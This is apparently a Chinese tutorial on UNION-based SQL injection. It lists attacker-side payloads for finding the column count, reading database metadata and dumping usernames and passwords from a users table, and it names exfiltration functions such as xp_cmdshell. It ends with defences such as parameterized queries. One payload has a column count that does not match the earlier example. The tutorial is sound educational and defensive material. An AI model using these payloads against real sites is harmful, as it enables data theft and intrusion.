SQL注入攻击的变异形式:联合查询注入详解
字数 2303 2025-12-08 04:06:56
SQL注入攻击的变异形式:联合查询注入详解
一、描述
联合查询注入是SQL注入攻击的一种高级形式,它利用SQL语言的UNION操作符将恶意查询的结果附加到原始查询结果中,从而从数据库其他表中提取敏感数据。与基于报错的注入或布尔盲注不同,联合查询注入可以直接在HTTP响应中看到攻击者构造的查询结果,这使得数据窃取更加高效直观。
这种攻击的关键在于攻击者需要掌握目标数据库的结构(如列名、表名),并通过UNION操作符构建一个合法的SQL语句,该语句的列数、数据类型必须与原查询匹配。
二、解题过程(攻击者视角的渗透步骤)
步骤1:识别注入点
- 寻找可能存在SQL注入的输入点,如URL参数(
?id=1)、表单字段、HTTP头部。 - 使用简单探测载荷,例如:
'(单引号):观察是否出现数据库错误信息。1' AND '1'='1与1' AND '1'='2:对比页面响应差异,判断是否存在布尔逻辑注入。
步骤2:确定列数
由于UNION要求前后查询的列数相同,攻击者必须首先探测出原始查询返回的列数。
- 使用
ORDER BY递增探测:- 提交
?id=1' ORDER BY 1--(注释掉后续SQL,避免语法错误)。 - 逐步增加数字:
ORDER BY 2,ORDER BY 3, ... - 当数字超过实际列数时,数据库会返回错误(如 "Unknown column '5' in 'order clause'")或页面显示异常。最后一次成功的数字即为列数。
- 提交
- 使用
UNION SELECT空值探测:- 提交
?id=1' UNION SELECT NULL--。 - 如果列数不匹配,数据库报错。
- 逐步增加NULL数量:
UNION SELECT NULL,NULL--,直到页面正常返回,此时NULL的数量等于列数。
- 提交
步骤3:确定列的数据类型
UNION不仅要求列数相同,还要求对应列的数据类型兼容。
- 在已知列数(例如3列)的基础上,替换NULL为具体值测试:
?id=1' UNION SELECT 'test',NULL,NULL--:测试第一列是否为字符串类型。?id=1' UNION SELECT NULL,123,NULL--:测试第二列是否为数值类型。- 观察页面是否正常显示'test'或'123',如果出现类型错误,则调整位置。
- 最终确定每列的类型,例如:第一列字符串、第二列数值、第三列字符串。
步骤4:提取数据库元数据
利用数据库的系统表或信息模式获取结构信息。
- 获取数据库名称:
- MySQL:
?id=1' UNION SELECT 1,database(),3-- - PostgreSQL:
?id=1' UNION SELECT 1,current_database(),3-- - SQL Server:
?id=1' UNION SELECT 1,db_name(),3--
- MySQL:
- 获取表名:
- MySQL:
?id=1' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1--(通过修改LIMIT参数遍历所有表)。 - SQL Server:
?id=1' UNION SELECT 1,name,3 FROM sysobjects WHERE xtype='U'--
- MySQL:
- 获取列名:
- MySQL:
?id=1' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1-- - 遍历获取目标表(如'users')的所有列名。
- MySQL:
步骤5:提取敏感数据
根据已知的表名和列名,直接查询数据。
- 例如,已知
users表有username和password列:?id=1' UNION SELECT 1,username,password FROM users LIMIT 0,1--
- 通过调整LIMIT偏移量,逐行提取所有用户凭证。
- 如果页面只显示一行结果(原查询可能只返回一行),可在原查询条件中加入永假条件使原结果为空:
?id=-1' UNION SELECT username,password FROM users--,这样结果集中只显示攻击者注入的数据。
步骤6:数据外带(可选)
如果数据库配置允许外部连接,攻击者可能将数据发送到远程服务器:
- 利用
LOAD_FILE()、SELECT ... INTO OUTFILE(MySQL)或xp_cmdshell(SQL Server)将查询结果写入文件或发起HTTP请求。
三、防御措施
- 参数化查询(预编译语句):使用绑定变量,将查询逻辑与数据严格分离,确保用户输入始终被视为数据而非代码。
- 输入验证与过滤:
- 白名单验证:如ID参数只允许数字。
- 转义特殊字符:但不如参数化查询可靠。
- 最小权限原则:数据库用户只赋予必要权限,避免使用SA或root账户。
- 错误处理:禁止将数据库错误信息直接返回给用户,使用通用错误页面。
- Web应用防火墙(WAF):部署规则检测
UNION、ORDER BY等关键词,但可能被绕过。 - 定期安全测试:使用自动化工具(如SQLMap)或手动渗透测试检测潜在注入点。